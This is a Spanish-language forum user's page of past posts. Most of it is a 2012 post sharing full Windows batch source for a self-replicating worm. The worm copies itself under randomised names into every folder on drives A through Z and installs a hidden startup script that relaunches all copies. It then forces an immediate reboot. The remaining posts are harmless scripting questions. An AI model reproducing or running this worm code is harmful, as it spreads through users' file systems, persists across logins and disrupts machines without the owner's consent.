Últimos Temas de: Meine programmen

Mostrar Temas
Páginas: 1 [2] 3

Seguridad Informática / Análisis y Diseño de Malware / [BATCH] Gusano autorreplicante

en: 16 Julio 2012, 21:42 pm

Bueno, hace no mucho que lo he acabado. Es un pequeño gusano. El progama crea dos programas, el gusano en si y otro que se pondra en la carpeta de inicio del usuario. Despues de esto el programa busca todas las carpetas existentes en las particiones de la A a la Z (Si existen en tu ordenador) e intenta copiar en ellas el gusano (Resalto el "intenta copiar" por que en algunas carpetas el sitema le denegara el acceso, el objetivo no es que este en todas sino que este en la mayoria). Luego de esto reinicia el pc. Al entrar en el usuario infectado se habre el segundo programa. Este programa busca en todas las carpetas de las particiones de la A a la Z (Si existen) las copias del gusano. Usa un sistema muy simple (Todas las copias se llamaran *I*C*X*.bat, donde * es cualquier cosa) que se puede cambiar facilmente. Si el ordenador tiene mas de un usuario probablemente se haya copiado tambien el gusano en la carpeta de inicio de estos y se inicie cada vez que se abra. El gusano tiene un "boton de desinstalado", pensado para esos usuarios que no saben bien lo que hacen y la cagan cada dos por tres (Me incluyo). Para eliminar el gusano del equipo se enciende en modo seguro y se crea una carpeta en System32 (C:\Windows\System32) llamada DieKleineKatze.ICX, se reinicia y se inicia sesion con el usuario infectado. Se abrira el segundo programa, que al detectar la carpeta pondra un pause antes de abrir cada una de las copias deel gusano. Las copias del gusano se abriran y al encontrar la carpeta se eliminaran y se cerraran. Bueno, aqui esta el codigo, cualquier ruego, pregunta, y sobretodo, correccion, un comentario, procurare estar atento. Gracias por tu tiempo

Código:

@ECHO OFF

echo @ECHO OFF>>ICX.bat

echo IF EXIST "C:\Windows\System32\DieKleineKatze.ICX" (DEL %%0^&exit)>>ICX.bat

echo SET THAP=%%RANDOM%%%%RANDOM%%I%%RANDOM%%%%RANDOM%%C%%RANDOM%%%%RANDOM%%X%%RANDOM%%%%RANDOM%%.bat>>ICX.bat

echo copy %%0 %%THAP%%>>ICX.bat

echo start %%THAP%%>>ICX.bat

echo "%%0">>ICX.bat

echo @ECHO OFF>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "C:\Windows\System32\DieKleineKatze.ICX" (SET P=pause^^^&)

echo IF EXIST "A:\" FOR /R "A:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "B:\" FOR /R "B:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "C:\" FOR /R "C:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "D:\" FOR /R "D:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "E:\" FOR /R "E:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "F:\" FOR /R "F:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "G:\" FOR /R "G:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "H:\" FOR /R "H:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "I:\" FOR /R "I:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "J:\" FOR /R "J:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "K:\" FOR /R "K:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "L:\" FOR /R "L:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "M:\" FOR /R "M:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "N:\" FOR /R "N:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "O:\" FOR /R "O:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "P:\" FOR /R "P:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "Q:\" FOR /R "Q:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "R:\" FOR /R "R:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "S:\" FOR /R "S:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "T:\" FOR /R "T:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "U:\" FOR /R "U:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "V:\" FOR /R "V:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "W:\" FOR /R "W:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "X:\" FOR /R "X:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "Y:\" FOR /R "Y:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo IF EXIST "Z:\" FOR /R "Z:\" %%%%Y in (*I*C*X*.bat) DO (%P%start "cmd.exe" "%%%%Y")>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo echo IF YOU CAN SEE THIS THE VIRUS IS DELETED>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo echo WENN DU KANNST SEHEN DAS DER VIRUS IST GELOCHSTE>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo echo SI PUEDES VER ESTO EL VIRUS SE ELIMINO>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo pause^>nul>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

echo DEL %%0^&exit>>"C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT"

ATTRIB "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CX2.BAT" +H

IF EXIST "A:\" FOR /R "A:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "B:\" FOR /R "B:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "C:\" FOR /R "C:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "D:\" FOR /R "D:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "E:\" FOR /R "E:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "F:\" FOR /R "F:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "G:\" FOR /R "G:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "H:\" FOR /R "H:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "I:\" FOR /R "I:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "J:\" FOR /R "J:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "K:\" FOR /R "K:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "L:\" FOR /R "L:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "M:\" FOR /R "M:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "N:\" FOR /R "N:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "O:\" FOR /R "O:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "P:\" FOR /R "P:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "Q:\" FOR /R "Q:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "R:\" FOR /R "R:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "S:\" FOR /R "S:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "T:\" FOR /R "T:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "U:\" FOR /R "U:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "V:\" FOR /R "V:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "W:\" FOR /R "W:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "X:\" FOR /R "X:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "Y:\" FOR /R "Y:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

IF EXIST "Z:\" FOR /R "Z:\" %%X in (.) DO (

Pushd %%X

copy "%~d0%~p0ICX.bat" "I%RANDOM%%RANDOM%%RANDOM%C%RANDOM%%RANDOM%%RANDOM%X%RANDOM%%RANDOM%%RANDOM%.bat"

Popd

)

shutdown /r /t:0

12	Comunicaciones / Redes / ¿Usar PSP como tarjeta de red USB?	en: 25 Junio 2012, 00:27 am
Quiero usar mi PSP como si fuera una tarjeta de red USB. He estado buscando un poco y dicen que es complicado de hacer pero posible, y que mejor comprarse una tarjeta de red barata, pero estoy intentando ahorrar, asi que me gustaria intentar mi objetivo con los recursos que ya tengo a mi alcance. Si alguien puede aportar algo, gracias de antemano.

13	Programación / Scripting / ¿Editor hexadecimal en batch?	en: 23 Junio 2012, 10:41 am
Hace no mucho me di cuenta que un video de 51'7 MB, al abrirlo con un editor hexadecimal y copiar el resultado en un texto, pasaba a ser un .txt de 6 MB. La idea es un programa que lea en hexademal un archivo y guarde el resultado en un archivo de texto y luego pueda volverlo a interpretar como el archivo original, y de esta manera hacer un compresor. Si he errado en algun momento agradeceria que me avisarais, no se mucho del tema. Gracias de antemano

14	Programación / Scripting / [BATCH] ¿Crear comandos?	en: 8 Junio 2012, 22:30 pm
Bueno, hace no mucho encontre que colocando "X.bat" en la carpeta System32, se podia usar desde la consola o un programa sin necesidad de poner la ruta, solo tecleando "X". Lo he probado con algunos trozos de codigo que repito en la mayoria de mis programas, y tengo un problema, cuando lo uso en un programa, al acabarse de ejecutar el "nuevo comando", el programa se cierra. Es decir, si yo pongo en "Prueba.bat": Código: @ECHO OFF echo HOLA pause X echo ADIOS pause exit Al ejecutar Prueba.bat, mostraria HOLA, ejecutaria el "X.bat" que esta en la carpeta System32 y se cerraria sin haber mostrado ADIOS. Gracias de antemano. ____________________________________________________________________________________________________________________________ MODIFICACION: Exit /b solo funciona desde la consola de comandos. Ademas, no se conservan las variables que usa el "nuevo comando" que es una parte que me interesa bastante. ___________________________________________________________________________________________________________________________ MODIFICACION: Para lo de las variables habia pensado crear variables globales que se vayan editando segun los resultados de los programas, pero todavia queda el tema del cierre.

15	Programación / Scripting / [BATCH] ¿Hacer calculos sexadecimales?	en: 2 Junio 2012, 22:27 pm
Pues bueno, me preguntaba si hay alguna manera de realizar calculos sexadecimales con batch, por que me cuesta bastante trabajar con datos de tiempo. Gracias

Programación / Scripting / [BATCH] Comando WAIT

en: 29 Abril 2012, 20:56 pm

Pues bueno, hice un comando que espera los segundos que necesites. Tambien se puede usar:

Código:

ping localhost -n (Numero de segundos) >nul

Pero ultimamente hice programas que esperan mucho, y al final se me ralentizaba el ordenador, y creo que pasa por que ping envia bits, y usando localhost -n creo que te los envias a ti mismo hasta parar tu ordenador. Aqui esta el codigo, es copiarlo y pegarlo en un bloc de notas y guardarlo como "WAIT.BAT" en "C:\Windows\System32". Despues para usarlo solo es:

Código:

call wait (Numero de segundos)

Espero que os sea util. Estoy por solucionar el tema del "call". Si no lo usas asi al acabar de ejcutarse el comando se cierra el programa.

Código:

@ECHO OFF
SET CONTADOR=0
SET TIEMPO4=%TIME:~9,2%
:1
SET TIEMPO5=
SET TIEMPO6=
SET TIEMPO7=
SET TIEMPO1=%TIME:~0,2%
IF %TIEMPO1% LEQ 9 (SET TIEMPO1=%TIEMPO1:~1,2%)
SET TIEMPO2=%TIME:~3,2%
IF %TIEMPO2% LEQ 9 (SET TIEMPO2=%TIEMPO2:~1,2%)
SET TIEMPO3=%TIME:~6,2%
IF %TIEMPO3% LEQ 9 (SET TIEMPO3=%TIEMPO3:~1,2%)
IF %TIEMPO3%==59 (SET TIEMPO3=0
GOTO MINUTOS) else SET /A TIEMPO3=%TIEMPO3%+1
GOTO CICLO
:MINUTOS
IF %TIEMPO2%==59 (SET TIEMPO2=0
GOTO HORAS) else SET /A TIEMPO2=%TIEMPO2%+1
GOTO CICLO
:HORAS
IF %TIEMPO1%==23 (SET TIEMPO1==0
GOTO CICLO) else SET /A TIEMPO1=%TIEMPO1%+1
:CICLO
IF %TIEMPO1% LEQ 9 (SET TIEMPO5=0)
IF %TIEMPO2% LEQ 9 (SET TIEMPO6=0)
IF %TIEMPO3% LEQ 9 (SET TIEMPO7=0)
IF %TIME:~6,2% LEQ 9 (SET TIEMPO8=%TIME:~6,1%) else SET TIEMPO8=%TIME:~6,2%
SET /A COMP=%TIEMPO3%-%TIEMPO8%
IF "%COMP%"=="-59" (GOTO 4)
IF %TIEMPO3% LSS %TIEMPO8% (SET /A TIEMPO3=%TIEMPO8%+1)
:4
IF "%TIME%"=="%TIEMPO5%%TIEMPO1%:%TIEMPO6%%TIEMPO2%:%TIEMPO7%%TIEMPO3%,%TIEMPO4%" (GOTO FIN) else GOTO CICLO
:FIN
SET /A CONTADOR=%CONTADOR%+1
IF %CONTADOR%==%* (exit /b) else goto 1

Corregi el codigo, y creo que arregle todos los errores. Ademas, el segundo es exacto, por que usa los milisegundos (Aunque algunos piensen que batch es muy lento y que a veces no llegaria en una comprobacion y a la siguiente se pasaria, yo lo probe en mi ordenador y hace 10 comprobaciones por milisegundo, asi que lo lento sera el ordenador, en todo caso.)

17	Programación / Scripting / [BATCH] ¿Se puede sacar la duracion de una cancion?	en: 14 Abril 2012, 12:15 pm
Pues bueno, estoy haciendo un programa que me abra la musica de manera aleatoria y me parece muy molesto estar pulsando enter cada vez que se acaba una cancion, asi que me preguntaba si hay alguna manera de sacar la duracion de una cancion desde batch, en segundos a poder ser, para con ping localhost -n que sea automatico. Gracias

18	Programación / Scripting / [BATCH] ¿Como borrar la ultima letra de una variable?	en: 9 Abril 2012, 17:38 pm
Bueno, es que estoy haciendo un programa que tiene que separar una variable introducida caracter a caracter para que vaya bien. De momento use un bucle con: Código: ¡VARIABLE:~-%CONTADOR%¡ Pero necesito borrar el ultimo caracter cada vez para que se divida. Gracias PD: Si no me equivoco esto tambien se podria hacer con el bucle FOR, pero no se usarlo, asi que si alguien sabe como me serviria de mas ayuda.

19	Programación / Scripting / [BATCH] ¿Como puedo adaptar un texto a otro?	en: 8 Abril 2012, 16:53 pm
Bueno, de primeras no se siquiera si plantee bien la pregunta, asi que mejor me explico. Estoy intentando hacer en batch un programa que encripte texto plano con el cifrado de Vigenère. Para simplificarlo un poco, es una tabla como esta Se pone la letra del mensaje en el abecedario de arriba y la letra de la clave en el de la derecha, y donde se crucen una y otra es el resultado. Bueno, el caso es que si a cada letra le asignamos un valor por su posicion, se suman los valores de las dos letras, se le resta 1 y si es mayor que el numero de letras del abecedario se le resta el numero de letas del abecedario. El resultado es el valor de la letra que saldria con el cuadro. El problema esta en que no se como hacer que la clave se adapte al mensaje. Por ejemplo, si el mensaje es "Hola amigo" y la clave "Ghj", la clave se tendria que adaptar al mensaje asi: HOLA AMIGO GHJG HJGHJ Y lo mismo si el mensaje fuera mas corto que la clave. Y ademas de adaptar la clave al mensaje tambien esta que tendria que operar con cada letra por separado. Gracias por adelantado

20	Programación / Scripting / [BATCH] ¿Como sacar la fecha de la ultima modificacion de un archivo? [RESUELTO]	en: 8 Abril 2012, 13:46 pm
Busque un poco y encontre que con %~f0 te muestra el del archivo, pero no se como aplicarlo a otros archivos. _____________________________________________________________________________________________________________________________________________________________________________ Segui buscando y encontre que puedo hacer con: Código: @echo off for %%- in (%Archivo%) do ( SET FM=%%~t- ) echo %FM% pause exit

Páginas: 1 [2] 3